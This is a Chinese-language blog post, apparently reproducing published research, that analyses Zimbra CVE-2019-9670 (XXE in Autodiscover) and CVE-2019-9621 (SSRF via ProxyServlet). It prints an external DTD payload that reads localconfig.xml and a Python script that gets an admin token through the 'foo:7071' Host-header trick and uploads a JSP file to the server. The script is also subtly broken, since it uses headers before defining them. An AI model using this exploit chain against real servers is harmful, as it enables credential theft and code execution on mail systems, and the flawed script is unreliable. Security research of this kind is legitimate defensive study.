Zimbra邮件服务器利用XXE漏洞与SSRF完成对目标的文件上传与远程代码执行
前言
原文地址:https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
参考文档:https://blog.csdn.net/fnmsd/article/details/88657083
历史版本存在的RCE(远程代码执行)漏洞:
CVE-2013-7091本地文件披露漏洞,影响范围为8.0.2以下版本。
CVE-2016-9924 XXE SoapEngine文件漏洞,影响范围为8.5以下版本,结合SSRF可造成RCE。
CVE-2019-9670 XXE Autodiscover文件漏洞,影响范围为8.5-8.7.11,结合SSRF可造成RCE。
至于在Zimbra 8.7.11-8.8.11版本上验证RCE,附加条件是Zimbra使用Memcached。
历史版本所有XXE漏洞:获取localconfig.xml
XML外部实体(XXE)攻击(有时称为XXE注入攻击)基于服务器端请求伪造。这种类型的攻击滥用了XML解析器广泛可用但很少使用的功能。使用XXE,攻击者能够导致拒绝服务(DoS)以及访问本地和远程内容和服务。在某些情况下,XXE甚至可以启用端口扫描并导致远程代码执行。有两种类型的XXE攻击:带内和带外。
Zimbra对其内部和外部操作使用大量的XML来处理,使用好XML文件会带来很大的XXE漏洞。
CVE-2016-9924的漏洞位于SoapEngine.chooseFaultProtocolFromBadXml()中,该错误发生在invalid XML requests。此漏洞用于**8.5以下的所有Zimbra**实例版本。但由于无法将输出提取到HTTP response,因此在利用它时需要使用带外提取方法。
CVE-2018-20160漏洞是处理XMPP协议的XXE漏洞。
CVE-2019-9670在处理Autodiscover requests时达到了XXE漏洞的要求,这可以在8.5**到8.7.11的**Zimbra上应用。CVE-2019-9670的另一个缺陷是XHTML文档prevention bypass,这也导致了XXE,但是它们都是需要一些额外的条件来触发,这些都允许通过reponse直接提取文件。
一、CVE-2019-9670 XXE漏洞
1、根据文章提示找到漏洞触发的源码
根据文章提示,CVE-2019-9670在处理Autodiscover requsets时存在XXE漏洞,首先在内网的ubuntu 16.04LTS下安装zimbra 8.7.10版本,导出文件zimbra/lib/jar/zimbrastore.jar,利用java反编译器寻找关键字Autodiscover,发现此模块存在于com/zimbra/cs/service/AutoDiscoverServlet.class中。
向/Autodiscover/Autodiscover.xml 试着POST一个空的xml:
看到返回的是”No Email address is specified in the Request”,于是在AutoDiscoverServlet.class中查找此语句,发现发送的Request主要是由此模块下的一个doPost函数来处理,doPost函数大致如下:
分析doPost代码,其利用模块下的getTagValue函数解析request,发现一共只解析两个参数,第一个是EMailAddress,也就是邮件用户名,第二个是AcceptableResponseSchema,而这个AcceptableResponseSchema是造成XXE漏洞的关键参数。
继续分析:
第一个if语句是判断邮件用户是否为空,并没有用户验证机制,所以只需随便构造一个邮箱用户就可以了。
第二个if语句的responseSchema为上文中获取的AcceptableResponseSchema标签下的参数,如果此参数不为两个给定的类型,则报错并返回responseSchema的内容,此处造成了回显式的**XXE**。
2、根据漏洞构造xml
由上文分析得出request只需要两个参数即可,所以利用此条件构造内部注入的xml:
在docs.microsoft.com查询AutoDiscover的构造语句:
根据上图构造post语句,用RestClient插件发送post语句,如下图,XXE内部注入漏洞触发成功,返回文件内容:
由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要用外部dtd注入来触发XXE漏洞:
dtd文件:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
构造外网可访问的站点,上传dtd文件,构造外部注入的数据包,post发送返回localconfig.xml的内容:
在安装时,Zimbra为其内部SOAP通信设置了一个全局管理员,用户名为“zimbra”,并随机生成密码。这些信息均存储在名为localconfig.xml的本地文件中。分析了CVE-2013-7091漏洞,某些条件下可以使用此类凭证来获得RCE。但是zimbra通过令牌管理用户权限,并设置了一个应用程序模型,使得管理令牌只能被授予进入管理端口的请求,默认情况下端口是7071,但是很多网站都没有开7071。
3、适用版本
经测试,适用版本为8.5-8.7.11,在8.8版本中,zimbra对AutoDiscover模块做了XML外部实体注入防护:
二、CVE-2019-9621 SSRF漏洞
如果目标网站关闭了7071端口,那么还有其他的方法,那就是SSRF漏洞。文章中提到用ProxyServlet,利用反编译器找到此函数:
根据博客文章的说明,此ProxyServlet可以代理对另一个位置的请求,并且这个servlet可以在普通用户的webapp上使用,因此可以从公共访问。但是代码具有另外的保护,它会检查代理目标是否与一组预定义的白名单域匹配,也就是说请求来自管理员,所以第一步先要取到管理员作为普通用户的autotoken值。由于zimbra在管理员检查中存在缺陷,它检查的第一件事是请求是否来自端口7071,但是它使用的是ServletRequest.getServerPort()来获取传入的端口。利用管理员的检查缺陷,用cookie发送带有“foo:7071”主机头和低权限的autotoken值,我们可以将请求代理到任意目标。
1、获取低权限autotoken值
低权限token可以通过soap接口发送AuthRequest进行获取:
使用已经获得的zimbra_admin_name和zimbra_ldap_password进行登陆,获取一个低权限Token。
2、利用该token使用cookie发送“foo:7071”造成SSRF
编写python脚本
首先通过账号和加密口令先获取低权限口令,然后通过proxy接口,向https://target.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap发送cookie,访问admin的soap接口获取高权限Token,获取权限然后实现文件上传。
#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#upload file name and content
filename = "111.jsp"
fileContent = r'<%out.println("111");%>'
print(base_url)
#low_token Stage
import re
username = "zimbra"
password = "3Z0sGzkL"
print(username)
print(password)
auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
soap:Header
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
/soap:Header
soap:Body
<AuthRequest xmlns="{xmlns}">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
/soap:Body
/soap:Envelope
"""
print("[*] Get Low Privilege Auth Token")
r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
print(pattern_auth_token)
low_priv_token = pattern_auth_token.findall(r.text)[0]
#print(low_priv_token)
# SSRF+Get Admin_Token Stage
headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
print("[*] Get Admin Auth Token By SSRF")
data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password)
print(data)
r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=data,headers=headers,verify=False)
admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)
f = {
'filename1':(None,"whocare",None),
'clientFile':(filename,fileContent,"text/plain"),
'requestId':(None,"12",None),
}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"
}
print("[*] Uploading file")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
print(r.text)
print("Please vist "+base_url+"/downloads/"+filename)
print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
print(r.text)
print("May need cookie:")
print(headers['Cookie'])
对目标进行SSRF漏洞测试:
发现jsp文件已经上传成功!
还没有评论,来说两句吧...